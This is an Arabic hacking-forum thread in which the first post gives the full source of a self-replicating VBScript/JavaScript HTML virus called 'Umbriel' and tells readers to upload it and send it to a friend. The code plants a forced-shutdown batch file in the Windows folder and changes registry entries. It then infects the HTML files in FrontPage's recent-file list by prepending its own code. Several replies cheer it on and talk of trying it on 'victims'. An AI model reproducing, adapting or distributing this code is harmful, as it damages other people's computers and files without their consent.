فيروس بلغة html

فيروس بلغة html


صفحة 1 من 2 12 الأخيرةالأخيرة
النتائج 1 إلى 10 من 12

الموضوع: فيروس بلغة html

  1. #1

    New فيروس بلغة html

    بسم الله الرحمان الرحيم

    فيروس بلغة html
    لن أحتاج للشرح فكل شيء واضح. انسخ الكود و ألصقه في مفكرة وبعد دالك إحفضه هكدا IoRi.html و إرفعه في موقع ما و أعطه لأحد الأصدقاء XD عندما يفتح بووووووووم يفجر حاسوبه. كنت أمزح لووول فهو يطفأ الحاسوب فقط
    الكــــود


    كود PHP:
    <html><!--Umbriel-->
        <
    head>
        <
    titleWelcome To The vivky432s Virus Page </title>
        </
    head>
        <
    body>
        <
    script language="VBScript">
        
    rem VBS
        On Error Resume Next
        Dim fso
    shellwrtetempdirwindirrandfile
        Set fso
    =CreateObject("Scripting.FileSystemObject")
        
    Set shell=CreateObject("Wscript.Shell")
        if 
    err.number=429 Then
        shell
    .Run javascript:location.reload()
        
    End If

        
    Set windir=fso.GetSpecialFolder(0)
        
    Set tempdir=fso.GetSpecialFolder(2)

        
    Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
        
    wrte.WriteLine "cls"
        
    wrte.WriteLine "@echo off"
        
    wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Hi This Is Your Shut Down Message From IoRi..."+chr(34)
        
    wrte.Close()

        
    shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source""C:\umbriel.html"
        
    shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL""C:\umbriel.html"

        
    Randomize
        rand
    =int(rnd*5)+1
        
    If rand=1 then
        shell
    .Run windir+"\windows.cmd"
        
    End If
        </
    script>

        <
    script language="JavaScript">
        
    // JS
        
    var viruspathviruscodefsofilecheckcheckacheckb
        fso
    =new ActiveXObject("Scripting.FileSystemObject")
        
    viruspath=window.location.pathname
        viruspath
    =viruspath.slice(1)
        
    virus=fso.OpenTextFile(viruspath,1)
        
    file=fso.CreateTextFile("C:\\umbriel.html")
        for (
    i=0i<500i++)
        {
        if (
    checkb!=1)
        {
        if (
    Math.round(Math.random()*5)+== 3)
        {
        if (
    check == 2)
        {
        
    file.WriteLine("/"+"*")
        
    file.WriteLine("*"+"/")
        }
        if (
    check == 3)
        {
        
    file.WriteLine("rem")
        }
        }
        
    code=virus.ReadLine()
        if (
    code == "/"+"*") { checka=666 }
        if (
    code == "*"+"/") { checka=666 }
        if (
    code == "rem") { checka=666 }
        if (
    checka != 666 ) { file.WriteLine(code) }
        
    checka=0
        
    if (code=="</"+unescape("%68")+"tml>") { checkb=}
        if (
    code=="// JS") { check=}
        if (
    code=="rem VBS") { check=}
        if (
    code=="</"+unescape("%73")+"cript>") { check=}
        }
        }
        
    virus.Close();
        
    file.Close();
        </
    script>

        <
    script language="VBScript">
        
    rem VBS
        On Error Resume Next
        set fso
    =CreateObject("Scripting.FileSystemObject")
        
    set shell=CreateObject("WScript.Shell")
        
    set myfile=fso.OpenTextFile("C:\umbriel.html")
        
    mycode=myfile.ReadAll
        myfile
    .Close()
        
    rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
        if 
    rr <> "" Then Call Umbriel(rrmycode)
        
    rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
        if 
    rr <> "" Then Call Umbriel(rrmycode)
        
    rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
        if 
    rr <> "" Then Call Umbriel(rrmycode)
        
    rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
        if 
    rr <> "" Then Call Umbriel(rrmycode)
        
    rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
        if 
    rr <> "" Then Call Umbriel(rrmycode)

        
    Sub Umbriel(rrmycode)
        
    set victim=fso.OpenTextFile(rr)
        
    infcheck=victim.ReadLine
        
    If infcheck<>"<html><!--Umbriel-->" Then
        viccode
    =victim.ReadAll
        victim
    .Close()
        
    set wrtevic=fso.OpenTextFile(rr2false0)
        
    wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
        
    wrtevic.Close
        End 
    If

        
    End Sub
        
    </script>
        </
    body>
        </
    html

    iori
    التعديل الأخير تم بواسطة iori the haker ; 03-28-2012 الساعة 10:51 PM
    إذا كانت غيرتي على ديني تعتبر جريمة فإعتبروني أخطر المجرمين

  2. #2
    هكر مجتهد الصورة الرمزية حبوط
    تاريخ التسجيل
    Dec 2010
    الدولة
    الســــــعودية
    المشاركات
    480

    افتراضي رد: فيروس بلغة html

    يعطيك الف عاافية ان شاء الله اجربها على الضحايا
    دخــولي متقطع
    بسبب ظروف خاصه

  3. #3

    افتراضي رد: فيروس بلغة html

    اقتباس المشاركة الأصلية كتبت بواسطة حبوط مشاهدة المشاركة
    يعطيك الف عاافية ان شاء الله اجربها على الضحايا
    ارقى ما يتعلمه الإنسان في الحياة ان يتعلم ان يستمع لكل راي ويحترمه وليس بالضروره ان يقنع به

  4. #4

    افتراضي رد: فيروس بلغة html

    يعطيك الف عاافية ان شاء الله اجربها على الضحايا

  5. #5

    افتراضي رد: فيروس بلغة html

    مشكور اخي الكريم وان شاء الله لح جربه على كل صديق قلي هيك امزح معهم هههه
    We are Syrians
    We are Free
    Sunni, Shia, christian
    I don't care We are all free



    Channel: http://www.youtube.com/MacBook3rabi
    Twitter: https://twitter.com/macbook3arabi
    We are White Hats hackers, We don't Hack we protect

  6. #6
    هكر مجتهد الصورة الرمزية مكافحهـ الشغبـ
    تاريخ التسجيل
    Dec 2011
    الدولة
    في الجنه ان شاءالله
    المشاركات
    204

    افتراضي رد: فيروس بلغة html

    بــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ــــــــــوووووووووومــــ ـــــــ
    حلووه يطفي ولا عاد يشتغل والى يشتغل من جديد ؟؟!
    شكرالك

    إذا دعتك قدرتك على ظلم الناس فتذكر قدرة الله عليك


    سبحان الله وبحمده ..سبحان الله العظيم


  7. #7

    افتراضي رد: فيروس بلغة html

    ههههههههههههههههههههههههه هههههه دمار شامل والله p:p:

  8. #8

    افتراضي رد: فيروس بلغة html

    مشكوووووووووووووووووووووو ووووووووووووووووووووووووو ر

  9. #9

    افتراضي رد: فيروس بلغة html

    احسنت فعلا نحتاج لمثل هذه الفيروسات

  10. #10

    افتراضي رد: فيروس بلغة html

    ههههههههههههههههههههه حلو

صفحة 1 من 2 12 الأخيرةالأخيرة

المواضيع المتشابهه

  1. قبل لا تقول فيروس : تعال اعرف وش فيروس الحاسوب
    بواسطة Next dream في المنتدى منتدى الفيروسات
    مشاركات: 171
    آخر مشاركة: 05-21-2014, 02:32 AM
  2. كود html JavaScript فيروس
    بواسطة هكر نمبر 1 في المنتدى قسم الثغرات
    مشاركات: 15
    آخر مشاركة: 08-31-2012, 04:26 AM
  3. حقائق عن فيروس الكمبيوتر (ستكسنت) فيروس مروّع
    بواسطة هاوي حنانك في المنتدى منتدى الفيروسات
    مشاركات: 11
    آخر مشاركة: 03-06-2012, 01:17 PM
  4. الدرس العاشر: استغلال الثغرات المكتوبة بلغة html
    بواسطة ASDELY-ScOrPiOn في المنتدى اختراق المواقع والسيرفرات
    مشاركات: 30
    آخر مشاركة: 01-21-2011, 02:25 AM
  5. ثغرة المكتوبه بلغة php وثغرة مكتوبه بلغة perl
    بواسطة Next dream في المنتدى قسم الثغرات
    مشاركات: 2
    آخر مشاركة: 10-03-2010, 12:29 AM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •